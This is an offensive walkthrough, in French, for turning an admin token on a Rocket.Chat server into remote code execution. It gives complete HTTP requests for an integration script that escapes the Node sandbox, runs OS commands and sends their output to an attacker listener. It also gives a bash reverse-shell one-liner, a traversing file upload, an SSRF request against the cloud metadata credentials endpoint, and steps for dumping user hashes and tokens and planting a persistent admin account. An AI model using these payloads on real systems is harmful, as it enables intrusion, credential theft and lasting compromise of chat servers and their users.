La voie vers un shell sur Rocket.Chat est la suivante : gagner un jeton admin via le contournement de connexion NoSQL dans l'authentification, puis utiliser la fonctionnalité integrations réservée aux admins de la manière prévue, sauf que le « script » qu'exécute une intégration est du JavaScript côté serveur dans une sandbox vm de Node dont on a pu s'échapper à répétition. Les intégrations sont le mécanisme d'extensibilité prévu, il ne s'agit donc pas d'un bug de corruption mémoire ; il s'agit de transformer une fonctionnalité admin en exécution de code. Les surfaces d'upload de fichier et de parseur de messages sont des points de sortie secondaires qui comptent sur les builds où la sandbox de script est durcie.
Précondition : un jeton admin#
Tout ici nécessite X-Auth-Token/X-User-Id pour un compte ayant le rôle admin ou la permission create-outgoing-integration. Obtenez-le depuis le contournement de connexion ou une réinitialisation ; confirmez avec GET /api/v1/me renvoyant roles contenant admin.
Évasion de la sandbox des scripts d'intégration vers le RCE#
Une intégration sortante déclenche une requête HTTP (et exécute son script) lorsqu'un événement déclencheur survient, par exemple un message posté dans un canal ou une commande slash ; le script est du JavaScript exécuté sur le serveur pour transformer l'événement. La sandbox expose une portée globale limitée, mais au fil des builds le wrapper a laissé fuiter un chemin vers les vrais require/process (via la propre chaîne de constructeurs du script, un module exposé, ou this.constructor.constructor), depuis lequel child_process.exec exécute des commandes OS. Créez l'intégration avec la charge utile comme script :
POST /api/v1/integrations.create HTTP/1.1
Host: target:3000
X-Auth-Token: <admin-authToken>
X-User-Id: <admin-userId>
Content-Type: application/json
{
"type": "webhook-outgoing",
"name": "x",
"enabled": true,
"event": "sendMessage",
"channel": "#general",
"username": "rocket.cat",
"urls": ["http://127.0.0.1:1/"],
"scriptEnabled": true,
"script": "const p=this.constructor.constructor('return process')(); const o=p.mainModule.require('child_process').execSync('id').toString(); class Script { prepare_outgoing_request(){ return {url:'http://attacker:9000/?c='+encodeURIComponent(o), method:'GET'} } }"
}
{"integration":{"_id":"...","name":"x"},"success":true}
Un success":true signifie que l'intégration et son script sont installés. Déclenchez l'événement sendMessage en postant dans le canal qu'il surveille :
POST /api/v1/chat.postMessage HTTP/1.1
Host: target:3000
X-Auth-Token: <admin-authToken>
X-User-Id: <admin-userId>
Content-Type: application/json
{"channel":"#general","text":"go"}
Le script s'exécute côté serveur, execSync('id') s'exécute en tant qu'utilisateur du processus Node, et la requête sortante transporte la sortie vers votre collecteur :
GET /?c=uid%3D998(rocketchat)%20gid%3D998(rocketchat) HTTP/1.1 <-- arrives at attacker:9000
Voir le uid=...(rocketchat) arriver sur votre écouteur confirme l'exécution de code en tant que compte de service. Remplacez id par un one-liner de reverse shell (bash -c 'bash -i >& /dev/tcp/attacker/9001 0>&1') pour obtenir une session interactive. Une intégration entrante (webhook-incoming) exécute son script lorsque son URL de webhook est appelée en POST, ce qui est la variante à utiliser lorsque vous ne pouvez pas poster dans un canal surveillé mais pouvez atteindre l'endpoint de webhook généré.
Point de sortie d'upload de fichier#
Les endpoints d'upload d'avatar et de fichier de message (/api/v1/rooms.upload/{rid}, setAvatarFromService) prennent un nom de fichier et un type de contenu. Là où le backend de stockage écrit sous un chemin servi par le web sans neutraliser le nom, un nom de fichier traversant ou typé comme script écrit un fichier que le serveur servira ou interprétera plus tard ; sur les backends GridFS/système de fichiers, c'est une primitive d'écriture disque qui s'associe à la SSRF du parseur de messages ci-dessous pour mettre en place une charge utile. Confirmez le store d'upload configuré depuis settings.public (FileUpload_Storage_Type) avant de vous y fier.
SSRF du parseur de messages#
Rocket.Chat récupère du contenu distant côté serveur pour rendre les aperçus de liens et le dépliage OEmbed/URL et pour relayer les avatars. Poster un message contenant une URL que vous contrôlez, ou définir une cible OEmbed/webhook vers une adresse interne, fait émettre la requête par le serveur depuis sa propre position réseau :
POST /api/v1/chat.postMessage HTTP/1.1
Host: target:3000
X-Auth-Token: <token>
X-User-Id: <id>
Content-Type: application/json
{"channel":"#general","text":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
La récupération de dépliage atteint l'endpoint de métadonnées cloud depuis le serveur ; l'aperçu qui revient (ou le contenu relayé dans le message) renvoie la réponse interne, y compris les identifiants de l'instance cloud. Cela atteint les services internes que l'hôte Node peut voir, même depuis un jeton non privilégié, et les identifiants qu'il renvoie constituent un pivot hors de la messagerie entièrement.
Suite#
Le script d'intégration s'exécute en tant qu'utilisateur rocketchat/node, donnant un shell sur l'hôte avec la portée du compte de service, la chaîne de connexion MongoDB depuis l'environnement (MONGO_URL), et tous les secrets d'intégration stockés. Depuis le store Mongo, lisez directement chaque groupe privé nommé lors de l'énumération, dumpez la collection users (hachages bcrypt et jetons d'accès personnels), et persistez en implantant un compte admin ou un jeton d'accès personnel à longue durée de vie.
Outils#
- RocketChat/Rocket.Chat (source du serveur, pour trouver le wrapper de la sandbox de script par build)
- Un simple écouteur HTTP (
nc -lvnp 9000, ou unhttp.serverPython) comme collecteur du script sortant.